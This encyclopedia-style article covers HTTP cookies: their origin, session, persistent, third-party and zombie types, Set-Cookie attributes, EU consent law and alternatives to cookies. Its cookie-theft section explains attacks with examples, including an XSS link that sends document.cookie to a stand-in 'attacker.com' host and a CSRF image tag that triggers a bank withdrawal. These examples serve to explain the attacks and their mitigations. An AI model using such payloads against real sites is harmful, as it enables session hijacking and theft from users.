HTTP cookie

An **HTTP cookie** (also called **web cookie**, **Internet cookie**, **browser cookie**, or simply **cookie**) is a small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing. Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items added in the shopping cart in an online store) or to record the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to remember arbitrary pieces of information that the user previously entered into form fields such as names, addresses, passwords, and credit card numbers.

Other kinds of cookies perform essential functions in the modern web. Perhaps most importantly, **authentication cookies** are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in with. Without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate themselves by logging in. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by a hacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).[1]

The tracking cookies, and especially third-party tracking cookies, are commonly used as ways to compile long-term records of individuals' browsing histories – a potential privacy concern that prompted European[2] and U.S. lawmakers to take action in 2011.[3][4] European law requires that all websites targeting European Union member states gain "informed consent" from users before storing non-essential cookies on their device.

Google Project Zero researcher Jann Horn describes ways cookies can be read by intermediaries, like Wi-Fi hotspot providers. He recommends to use the browser in incognito mode in such circumstances.[5]

Background

Origin of the name

The term "cookie" was coined by web browser programmer Lou Montulli. It was derived from the term "magic cookie", which is a packet of data a program receives and sends back unchanged, used by Unix programmers.[6][7]

History

Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994.[8] At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.[9][10]

Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on October 13, 1994,[11][12] supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, and US 5774670 was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995.[13]

The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The general public learned about cookies after the *Financial Times* published an article about them on February 12, 1996.[14] In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.

The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the Internet Engineering Task Force (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.

At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.

RFC 2965 added a `Set-Cookie2` header, which informally came to be called "RFC 2965 -style cookies" as opposed to the original `Set-Cookie` header which was called "Netscape-style cookies".[15][16] `Set-Cookie2` was seldom used however, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.[17]

Terminology

This section needs additional citations for verification.

Session cookie

A *session cookie*, also known as an *in-memory cookie*, *transient cookie* or *non-*

persistent cookie, exists only in temporary memory while the user navigates the website.[18] Web browsers normally delete session cookies when the user closes the browser.[19] Unlike other cookies, session cookies do not have an expiration date assigned to them, which is how the browser knows to treat them as session cookies.

Persistent cookie

Instead of expiring when the web browser is closed as session cookies do, a *persistent cookie* expires at a specific date or after a specific length of time. This means that, for the cookie's entire lifespan (which can be as long or as short as its creators want), its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement).

For this reason, persistent cookies are sometimes referred to as *tracking cookies* because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. However, they are also used for "legitimate" reasons (such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit).

These cookies are however reset if the expiration time is reached or the user manually deletes the cookie.

Secure cookie

A *secure cookie* can only be transmitted over an encrypted connection (i.e. HTTPS). They cannot be transmitted over unencrypted connections (i.e. HTTP). This makes the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is made secure by adding the `Secure` flag to the cookie.

Http-only cookie

An *http-only cookie* cannot be accessed by client-side APIs, such as JavaScript. This restriction eliminates the threat of cookie theft via cross-site scripting (XSS). However, the cookie remains vulnerable to cross-site tracing (XST) and cross-site request forgery (XSRF) attacks. A cookie is given this characteristic by adding the `HttpOnly` flag to the cookie.

Same-site cookie

In 2016 Google Chrome version 51 introduced[20] a new kind of cookie, the *same-site cookie*, which can only be sent in requests *originating* from the same origin as the target domain. This restriction mitigates attacks such as cross-site request forgery (XSRF).[21] A cookie is given this characteristic by setting the `SameSite` flag to `Strict` or `Lax`.[22]

Third-party cookie

Normally, a cookie's domain attribute will match the domain that is shown in the web browser's address bar. This is called a *first-party cookie*. A *third-party cookie*, however, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as banner advertisements. This opens up the potential for tracking the user's browsing history and is often used by advertisers in an effort to serve relevant advertisements to each user.

As an example, suppose a user visits `www.example.org`. This website contains an advertisement from `ad.foxytracking.com`, which, when downloaded, sets a cookie belonging to the advertisement's domain (`ad.foxytracking.com`). Then, the user visits another website, `www.foo.com`, which also contains an advertisement from `ad.foxytracking.com` and sets a cookie belonging to that domain (`ad.foxytracking.com`). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser.

As of 2014, some websites were setting cookies readable for over 100 third-party domains.[23] On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.[24]

Most modern web browsers contain privacy settings that can block third-party cookies.

Supercookie

A *supercookie* is a cookie with an origin of a top-level domain (such as `.com`) or a public suffix (such as `.co.uk`). Ordinary cookies, by contrast, have an origin of a specific domain name, such as `example.com`.

Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of `.com`, could maliciously affect a request made to `example.com`, even if the cookie did not originate from `example.com`. This can be used to fake logins or change user information.

The Public Suffix List[25] helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.

Other uses

The term "supercookie" is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such "supercookie" mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and ETag cookies.[26] Due to media attention, Microsoft later disabled this code.[27]

Zombie cookie

A *zombie cookie* is a cookie that is automatically recreated after being deleted. This is accomplished by storing the cookie's content in multiple locations, such as Flash Local shared object, HTML5 Web storage, and other client-side and even server-side locations. When the cookie's absence is detected, the cookie is recreated using the data stored in these locations.

Structure

A cookie consists of the following components:[28][29]

1. Name
2. Value
3. Zero or more attributes (name/value pairs). Attributes store information such

as the cookie's expiration, domain, and flags (such as `Secure` and `HttpOnly`).

Uses

Session management

Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual "shopping cart" or "shopping basket").[9][10] Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a unique session identifier (typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user.

Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services.

Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth.

Personalization

Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in.

Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the Google search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see. Also, DuckDuckGo uses cookies to allow users to set the viewing preferences like colors of the web page.

Tracking

Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the IP address of the computer requesting the page or the referer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:

1. If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it

as a cookie back to the browser together with the requested page.

2. From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.

By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.

Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The *Wall Street Journal* found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files.[30] The data can then be collected and sold to bidding corporations.

Implementation

A possible interaction between a web browser and a web server holding a web page in which the server *sends a cookie to the browser and the browser sends it back when requesting another page.*

Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing states (memory of previous events) into otherwise stateless HTTP transactions. Without cookies, each retrieval of a web page or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as JavaScript (unless the cookie's `HttpOnly` flag is set, in which case the cookie cannot be modified by scripting languages).

The cookie specifications[31][32][33] require that browsers meet the following requirements in order to support cookies:

- Can support cookies as large as 4,096 bytes in size.
- Can support at least 50 cookies per domain (i.e. per website).
- Can support at least 3,000 cookies in total.

Setting a cookie

Cookies are set using the `Set-Cookie` HTTP header, sent in an HTTP response from the web server. This header instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header if it does not support cookies or has disabled cookies).

As an example, the browser sends its first request for the homepage of the `www.example.org` website:

```
GET /index.html HTTP/1.1
Host: www.example.org
...
```

The server responds with two `Set-Cookie` headers:

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie:
sessionToken=abc123;
Expires=Wed, 09 Jun 2021
10:18:14 GMT
...
```

The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, "theme", is considered to be a *session cookie* since it does not have an `Expires` or `Max-Age` attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, "sessionToken", is considered to be a *persistent cookie* since it contains an `Expires` attribute, which instructs the browser to delete the cookie at a specific date and time.

Next, the browser sends another request to visit the `spec.html` page on the website. This request contains a `Cookie` HTTP header, which contains the two cookies that the server instructed the browser to set:

```
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light;
sessionToken=abc123
…
```

This way, the server knows that this request is related to the previous one. The server would answer by sending the requested page, possibly including more `Set-Cookie` headers in the response in order to add new cookies, modify existing cookies, or delete cookies.

The value of a cookie can be modified by the server by including a `Set-Cookie` header in response to a page request. The browser then replaces the old value with the new value.

The value of a cookie may consist of any printable ASCII character (`!` through `~`, Unicode `\u0021` through `\u007E`) excluding `,` and `;` and whitespace characters. The name of a cookie excludes the same characters, as well as `=`, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.

The term "cookie crumb" is sometimes used to refer to a cookie's name–value pair.[34]

Cookies can also be set by scripting languages such as JavaScript that run within the browser. In JavaScript, the object `document.cookie` is used for this purpose. For example, the instruction `document.cookie =`

`"temperature=20"` creates a cookie of name "temperature" and value "20".[35]

Cookie attributes

In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.

Domain and path

The `Domain` and `Path` attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For obvious security reasons, cookies can only be set on the current resource's top domain and its sub domains, and not for another domain and its sub domains. For example, the website `example.org` cannot set a cookie that has a domain of `foo.com` because this would allow the `example.org` website to control the cookies of `foo.com`.

If a cookie's `Domain` and `Path` attributes are not specified by the server, they default to the domain and path of the resource that was requested.[36] However, in most browsers there is a difference between a cookie set from `foo.com` without a domain, and a cookie set with the `foo.com` domain. In the former case, the cookie will only be sent for requests to `foo.com`, also known as a host-only cookie. In the latter case, all sub domains are also included (for example, `docs.foo.com`).[37][38] A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always send cookies to sub domains regardless of whether the cookie was set with or without a domain.[39]

Below is an example of some `Set-Cookie` HTTP response headers that are sent from a website after a user logged in. The HTTP request was sent to a webpage within the `docs.foo.com` subdomain:

```
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…
Eaem_vYg; Path=/accounts;
Expires=Wed, 13 Jan 2021
22:23:01 GMT; Secure;
HttpOnly
Set-Cookie: HSID=AYQEVn…
DKrdst; Domain=.foo.com;
Path=/; Expires=Wed, 13 Jan
```

```
2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq;
Domain=foo.com; Path=/;
Expires=Wed, 13 Jan 2021
22:23:01 GMT; Secure;
HttpOnly
…
```

The first cookie, `LSID`, has no `Domain` attribute, and has a `Path` attribute set to `/accounts`. This tells the browser to use the cookie only when requesting pages contained in `docs.foo.com/accounts` (the domain is derived from the request domain). The other two cookies, `HSID` and `SSID`, would be used when the browser requests any subdomain in `.foo.com` on any path (for example `www.foo.com/bar`). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.[40]

Expires and Max-Age

The `Expires` attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form `Wdy, DD Mon YYYY HH:MM:SS GMT`, or in the form `Wdy, DD Mon YY`

`HH:MM:SS GMT` for values of YY where YY is greater than or equal to 0 and less than or equal to 69.[41]

Alternatively, the `Max-Age` attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three `Set-Cookie` headers that were received from a website after a user logged in:

```
HTTP/1.0 200 OK
Set-Cookie:
lu=Rg3vHJZnehYLjVg7qi3bZjzg;
```

```
Expires=Tue, 15 Jan 2013
21:47:38 GMT; Path=/;
Domain=.example.com;
HttpOnly
Set-Cookie:
made_write_conn=1295214458;
Path=/; Domain=.example.com
Set-Cookie:
reg_fb_gate=deleted;
Expires=Thu, 01 Jan 1970
00:00:01 GMT; Path=/;
Domain=.example.com;
HttpOnly
```

The first cookie, `lu`, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, `made_write_conn`, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, `reg_fb_gate`, has its value changed to "deleted", with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the `Set-Cookie` field match the values used when the cookie was created.

As of 2016 Internet Explorer did not support `Max-Age`.[42][43]

Secure and HttpOnly

The `Secure` and `HttpOnly` attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.

The `Secure` attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via secure/encrypted connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by man-in-the-middle attacks. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection.

The `HttpOnly` attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably JavaScript), and therefore cannot be stolen easily via cross-site scripting (a pervasive attack technique).[44]

Browser settings

Most modern browsers support cookies and allow the user to disable them. The following are common options:[45]

- To enable or disable cookies completely, so that they are always accepted or always blocked.
- To view and selectively delete cookies using a cookie manager.
- To fully wipe all private data, including cookies.

By default, Internet Explorer allows third-party cookies only if they are accompanied by a P3P "CP" (Compact Policy) field.[46]

Add-on tools for managing cookie permissions also exist.[47][48][49][50]

Privacy and third-party cookies

Cookies have some important implications on the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called *third-party cookies*. The older standards for cookies, RFC 2109 and RFC

2965 , specify that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265 , explicitly allows user agents to implement whichever third-party cookie policy they wish. Most browsers, such as Mozilla Firefox, Internet Explorer, Opera, and Google Chrome, do allow third-party cookies by default, as long as the third-party website has Compact Privacy Policy published. Newer versions of Safari block third-party cookies, and this is planned for Mozilla Firefox as well (initially planned for version 22 but postponed indefinitely).[51]

In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.

Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. Knowledge of the pages visited by a user allows the advertising company to target advertisements to the user's presumed preferences.

Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of such cookie discovery.[52]

The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.

The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them.[53] On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.[54]

EU cookie directive

In 2002, the European Union launched the Directive on Privacy and Electronic Communications, a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.[55][56] In particular, Article 5 Paragraph 3 mandates that storing data in a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation.

Directive 95/46/EC defines "the data subject's consent" as "any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed."[57] Consent must involve some form of communication where individuals knowingly indicate their acceptance.[56]

In 2009, the policy was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.[56]

In June 2012, European data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent:

- Some cookies can be exempted from informed consent under certain conditions if they are not used for additional purposes. These cookies include cookies used to keep track of a user's input when filling online forms or as a shopping cart.

- First-party analytics cookies are not likely to create a privacy risk if websites provide clear information about the cookies to users and privacy safeguards.[58]

The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of

Privacy International argues that proper enforcement would "destroy the entire industry".[59]

The P3P specification offers a possibility for a server to state a privacy policy using an HTTP header, which specifies which kind of information it collects and for which purpose. These policies include (but are not limited to) the use of information gathered using cookies. According to the P3P specification, a browser can accept or reject cookies by comparing the privacy policy with the stored user preferences or ask the user, presenting them the privacy policy as declared by the server. However, the P3P specification was criticized by web developers for its complexity. Some websites do not correctly implement it. For example, Facebook jokingly used "HONK" as its P3P header for a period.[60] Only Internet Explorer provides adequate support for the specification.

Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience. Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.[60][61]

Cookie theft and session hijacking

This section has multiple issues. Please help improve it or discuss these issues on the talk

Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.

Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.

Network eavesdropping

A cookie can be stolen by another computer that is allowed reading from the network

Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.

An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.

This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the `Secure` flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an TLS connection.[31]

Publishing false sub-domain: DNS

cache poisoning

If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of `f12345.www.example.com` that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example, `http://f12345.www.example.com/img_4_cookie.jpg`). Victims reading the attacker's message would download this image from `f12345.www.example.com`. Since `f12345.www.example.com` is a sub-domain of `www.example.com`, victims' browsers would submit all `example.com`-related cookies to the attacker's server.

If an attacker is able to accomplish this, it is usually the fault of the Internet Service Providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge[62] of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.

Cross-site scripting: cookie theft

Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.

As an example, an attacker may post a message on `www.example.com` with the following link:

```
<a href="#"
onclick="window.location =
'http://attacker.com/stole.c
```

```
gi?text=' +
escape(document.cookie);
return false;">Click here!
</a>
```

Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.

When another user clicks on this link, the browser executes the piece of code within the `onclick` attribute, thus replacing the string `document.cookie` with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the `attacker.com` server. If the attacker's malicious posting is on an HTTPS website `https://www.example.com`, secure cookies will also be sent to attacker.com in plain text.

It is the responsibility of the website developers to filter out such malicious code.

Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.

Cross-site scripting: proxy request

In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on `www.example.com`, and the attacker's script is executed in the victim's browser. The script generates a request to `www.example.com` with the proxy server `attacker.com`. Since the request is for `www.example.com`, all `example.com` cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.

This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.

Cross-site request forgery

For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,

```
<img
src="http://bank.example.com
```

```
/withdraw?
account=bob&amount=1000000&f
or=mallory">
```

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

Drawbacks of cookies

Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.[63][64]

Inaccurate identification

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.

Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.

Inconsistent state on client and server

The use of cookies may generate an inconsistency between the state of the client and the state as stored in the cookie. If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition. As an example, if the shopping cart of an online shop is built using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This can lead to unreliability, confusion, and bugs. Web developers should therefore be aware of this issue and implement measures to handle such situations.

Alternatives to cookies

Some of the operations that can be done using cookies can also be done using other mechanisms.

JSON Web Tokens

A JSON Web Token (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.

HTTP authentication

The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.

IP address

Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address.

However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.

URL (query string)

A more precise technique is based on embedding information into URLs. The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.

This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.

These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.

Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page *internal to the site* the first time, and then visits the same page by coming from an *external* *search engine* the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.

Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.

Hidden form fields

Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.

This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).

"window.name" DOM property

All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the DOM property `window.name`. This data can be used instead of session cookies and is also cross-domain. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables[65] on the client side.

The downside is that every separate window or tab will initially have an empty `window.name` property when opened. Furthermore, the property can be used for tracking visitors across different websites, making it of concern for Internet privacy.

In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks. However, if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab.

Identifier for advertisers

Apple uses a tracking technique called "identifier for advertisers" (IDFA). This technique assigns a unique identifier to every user that buys an Apple iOS device (such as an iPhone or iPad). This identifier is then used by Apple's advertising network, iAd, to determine the ads that individuals are viewing and responding to.[66]

ETag

Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching headers can also enhance the preservation of ETag data.

ETags can be flushed in some browsers by clearing the browser cache.

Web storage

Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.

The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.[67]

Internet Explorer supports persistent information [68] in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.

Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.[69]

Browser cache

